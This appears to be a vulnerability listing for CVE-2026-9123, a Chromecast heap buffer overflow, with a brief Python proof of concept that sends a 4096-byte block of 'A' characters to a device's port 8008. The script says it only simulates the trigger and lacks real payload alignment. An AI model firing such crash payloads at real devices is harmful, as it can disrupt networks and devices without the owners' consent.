CVE-2026-9123 Google Chrome Chromecast堆缓冲区溢出漏洞

# PoC for CVE-2026-9123 (Heap Buffer Overflow in Chromecast) # This script simulates sending a malicious packet to trigger the overflow. # Note: Actual exploitation requires specific offset and payload alignment. import socket import struct target_ip = "192.168.1.100" # Target device IP target_port = 8008 # Common Chromecast port # Constructing a malicious packet with oversized payload # 'A' * 4096 simulates data causing the overflow payload = b"A" * 4096 try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) s.close() print("[+] Payload sent successfully. Check device status.") except Exception as e: print(f"[-] Error: {e}")